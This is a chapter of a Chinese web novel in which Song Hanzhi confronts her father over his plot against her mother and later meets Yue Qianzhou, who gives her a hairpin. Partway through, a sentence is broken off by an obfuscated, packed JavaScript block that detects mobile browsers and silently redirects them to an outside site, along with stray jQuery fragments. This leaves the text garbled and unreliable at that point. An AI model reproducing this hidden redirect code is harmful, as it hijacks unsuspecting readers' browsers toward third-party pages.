宋寒枝到宋府时,门前只有灵双候着,一见她便小跑着迎上前。
身后车轮轱辘而过,马车轻巧地驶远,车厢里已然空无一人。
宋寒枝收回目光,任由灵双挽着手入内,看她眼睛发红,不由得好笑道:“怎么又哭了?”
“他们说话没个准头,奴婢听得云里雾里的,吓都要吓死了。”灵双心有余悸道,“况且老爷还发了好大的火……”她欲言又止地看了眼宋寒枝,没继续说。
宋寒枝看出她神情有异,“怎么了?”
灵双嘟囔道:“听说老爷动手打了二小姐,还罚她禁闭一个月。”
宋寒枝脚步稍缓,大概猜到缘由,“去看看。”
两人往宋晞院子去,只是刚走出一小段,孙管家迎面走来,道:“小姐,老爷请您去书房一趟。”
宋明向来躲着她,这般主动找她也是稀奇了。
书斋里烛火明亮,宋寒枝推门进去,宋明正坐榻上分茶,冷淡扫她一眼,摊手指向对面,“坐。”
那位置正对窗口,宋寒枝拢了拢披风领口,看他放下一杯热茶,“有话直说吧。”她身上经脉还隐隐作痛,没耐心看他兜圈子做戏。
“你想知道当年的事吗?”直切正题的话脱口而出,宋明面上闪过一丝懊恼,瞪向宋寒枝,眼中带着难以掩饰的厌恶。
宋寒枝轻慢的神情顿了一瞬,总算正眼看向了他。
宋明认命地叹了口气,“我与你娘成婚是在永晏六年。”他目光悠远,像是隔着漫长岁月看到了那时一滩烂泥的自己。
“那是百年间御都最动乱的一年。朝堂震荡,人人自危,皇权更迭的血淌遍了整个虞国。说来好笑,人人都道当今陛下得位不正,我却觉得陛下才是廓清朝野的真雄主,远胜那庸碌无能的怀帝!”
宋寒枝垂眼,懒得听他恭维主子,手指漫不经心地拨弄着热腾腾的杯口。
“怀帝一朝,取士皆出门阀,寒门难进。我举家之资入御都,以求功名,哪曾想春闱的墨卷竟被誊录顶替。呵—”他自嘲一笑,“十年寒窗,尽为他人做嫁衣。孙家也愈发看轻我,你娘便是因此替嫁给了我。”
宋寒枝手指安分了些,竖起耳朵听他继续道:“我知道她不是孙婉。可那又如何?彼时我身无分文,寄人篱下。他孙家女婿当着再是憋屈,我也只能忍着。直到陛下即位,重开春闱,我一举高中,终于扬眉吐气。可造化弄人……我怎么也没想到,你娘她,竟是九黎族的遗民!”
宋寒枝虽然早有猜想,可听到此处,还是有些心乱,冷眼看向他道:“所以,你动了杀心?”
“我只是自保!”宋明声音不自觉地拔高,陡然向前倾身,急声道:“新朝初立,那时陛下对九黎族赶尽杀绝。她就像一把悬在我头顶的剑,让我片刻不得心安。我如何能留她?”
宋寒枝冷笑:“倒是会为自己开脱。”
宋明眼中情绪缓缓褪下去,“事到如今,还有什么好开脱的?你娘嫁我时便怀了你。我本想借着‘早产’的由头,送你们一尸两命……”他眼神阴鸷地看着宋寒枝,“只恨我动手太晚,反中了她的邪术。”
宋寒枝勾了勾嘴角,替他惋惜道:“那你可真是不走运。”
宋明无视她的讽刺,冷声道:“当年我一念之差,造成今日局面。我认。可你娘是为了你而死,与人无尤,更与晞儿无关!那孩子心地纯善,待你一片赤诚。你若还有半分良知,便不该将她牵扯进来!”
宋寒枝暗自好笑。
“你还有脸谈良知?”宋寒枝施施然起身,“真担心的话,不如管好你的妻女,少在我面前晃悠。”
她正要走,却听宋明问:“那你呢?”
他神情探究地看向宋寒枝,忽然道:“你与越千洲是什么关系?”
宋寒枝:“与你何干?”
“只是提醒你,也管好你自己。”宋明冷扫她一眼,捋着长须,放缓语速道:“你可知今夜越千洲在宫中受了罚?”
宋寒枝眼神骤然沉下几分,“因为昭王府的事?”
“那不过是一个由头罢了,怪只怪他自己不知进退。”
宋明细致地审视着她的神情,不紧不慢道:“夜枭卫乃陛下直系,岂能成他的一言堂?吴极不过向暗部伸了次手,他便将人打得卧床不起。这般不留情面,陛下自然不喜。罚他跪冰,是煞他气焰过盛。”
宋寒枝神色不动,袖下的手却不安地蜷紧了。
夜枭卫分明暗两部分。明部的启明卫负责案件、审理、各部往来,这些台面上的政务皆由吴极打理。而暗部如同影子,专司监察、情报、刺杀、潜伏等密事。权柄尽在越千洲之手,旁人窥探不得。
吴极是虞皇的人,他想碰暗部的事,自然是虞皇的意思。可越千洲的态度太过强硬,仅仅是一次试探性的越界,他便一刀切下,实实在在打了虞皇的脸。
“御都水深,你尽早抽身对谁都好。他越千洲看似风光无两,实则步步踩在刀刃上,但有行差踏错,便是万劫不复。”宋明神情凝重,眼角皱纹挤在一起,“我的命捏在你手里,你若搅入其中,我宋家迟早被你带累。”
“那不挺好的?”宋寒枝像是听到什么笑话,目光冷冽地落在他脸上,拂手将身前的茶杯打翻,一字一顿道:“若真有那一日,你且受着吧。”
宋寒枝心不在焉地往外走,灵双在院门口叫了好几声,她才回神似的看过去。
灵双往书斋的方向看了眼,小心翼翼问:“还去二小姐那边吗?”
宋寒枝沉默一瞬,轻轻摇头。
月亮被树梢划破,冷光泄下,将她在酒楼里攫取的暖意尽数冲散。
她低着头,忽地又咳嗽起来。
……
“咳,咳咳……”
暗阁对面街道有一家早点铺,今日天蒙蒙亮,铺子下就多了一位帷帽遮面的客人。
看穿着打扮,是大户人家的姑娘,就是身体不太好的样子,喝着热汤还断断续续咳了大半个时辰。
这地段儿里,平日打交道最多的就是夜枭卫。老高形形色色的人见了不少,也不觉得奇怪,捧着个手炉出来,和气地搁她手边,“来,小娘子,用这个暖暖。”
宋寒枝倒也不推脱,“多谢。”
老高听了个谢字便乐呵起来,爽快道:“这有什么?小娘子若是不嫌简陋,也可去里间……”
他话说到一半,对面街道尽头突然一阵马蹄声响起。
数十名甲骑开路,骏马疾驰,押送着几辆囚车,里面老幼妇孺皆有,在颠簸中依偎着,瑟缩低泣。
“那是……王公一家?”
“真是王公!”
街道边有路人惊呼,刚欲上前,甲骑腰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16767269|190213||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间长刀“铮”地出鞘半寸。囚车两侧的马贴着人群边缘挤过,将聚集的人群生生逼退,清出宽敞的大道。
众人怒目而视,却见一人单骑从车队尾端追上前。来人黑巾覆面,高大的身躯压低,风一般呼啸而过,转眼间越过车队,一马当先勒停在了暗阁门前。
老高嘴里啧啧道:“今日又要热闹咯……”他转头搭话,桌边却没了人影,只留下一锭银子。
越千洲翻身下马,落地时,腿部的动作略显滞缓。
宋寒枝远远看到,加快了脚步。
甲骑接连停住,扬起一地灰尘。
她从桥上走下去,避着人从旁边绕,却见越千洲忽然偏头看过来,目光在她身上一凝,随即大步流星地向她走来。
“你怎地在此处?”露水湿气迎面扑来,越千洲停在她身前,拉下覆面黑巾,一脸正色问:“有何事?”
“越千洲!陛下无旨,你凭什么抓人?”
宋寒枝还未应话,一位布衣男子在囚车边挣脱,状若癫狂地在越千洲身后扑来。
越千洲倏然上前两步,高大的身躯将宋寒枝尽数挡住,眼尾阴冷地往后扫了眼。
那人刚冲出去两步便被甲骑拖回,身体倒伏着,发疯似的在地面蹬踹,嘴里高声大骂道:“你这无耻狗贼!残害忠良,蒙蔽圣听,你不得好死!不得好死!”
越千洲漠然回过视线,垂眼看着近在咫尺的宋寒枝。
“找我有事?”
他离得太近了,宋寒枝长长的帽裙飘起,垂纱贴在他胸前翻动。宋寒枝默默退后一步,支吾道:“无事。就是……”
若说专程来给他看伤,好像有点太殷勤了?
她半天说不出个所以然,越千洲盯着她片刻,手中马鞭一转,用鞭柄将她帽裙掀起一边。
宋寒枝眼前乍然一亮,恍惚间,竟有种被掀了盖头的错觉。她抿紧双唇,无端有些紧张,却见越千洲忽地弯下腰,慢条斯理地将脸凑来,正对上她的视线。
宋寒枝心头一颤,白净的脸登时绷紧了,神情呆愣愣地盯着人。
“正好。”越千洲看她一眼便直起身,将挑起的垂纱挂在帽檐边沿,从怀里摸出一支玉簪,“喏,生辰礼。本想差人送去。你既然来了,就带走吧。”
宋寒枝指尖攥着袖口,目光落在那支簪子上。白玉温润,腻如凝脂,尾端雕刻着缠枝玉兰。花瓣脉络清晰,做工精细,一看就贵重。
“不喜欢?”
越千洲盯着她的眼睛,语气随意道:“我入城时正巧有家店开门,随手拿了支。若是不喜,你得空自己挑去。”他抓起宋寒枝的手将玉簪强硬塞进她掌心,又解下腰间玉牌递过去。
那是他名下钱庄支钱的牌子。
“不,不用了。”宋寒枝怎么也不接了,手缩在袖子里往身后藏,目光在他膝间瞅了又瞅,终是忍不住道:“你,腿是不是冻伤了?”
越千洲眼眸微定,默然看她片刻,突地哼笑出声,“你来,就为了这事?”
宋寒枝无端有些窘迫,犹豫一瞬,鼻子里很轻地“嗯”了声,抬眼望着他问:“要看看吗?”
她一瞬不瞬地盯着人,声音也温柔得不像话。越千洲眸光微闪,突然一把拉下垂纱,将她遮得严实。
宋寒枝有些发懵,眨了眨眼。
听他道:“那走吧。”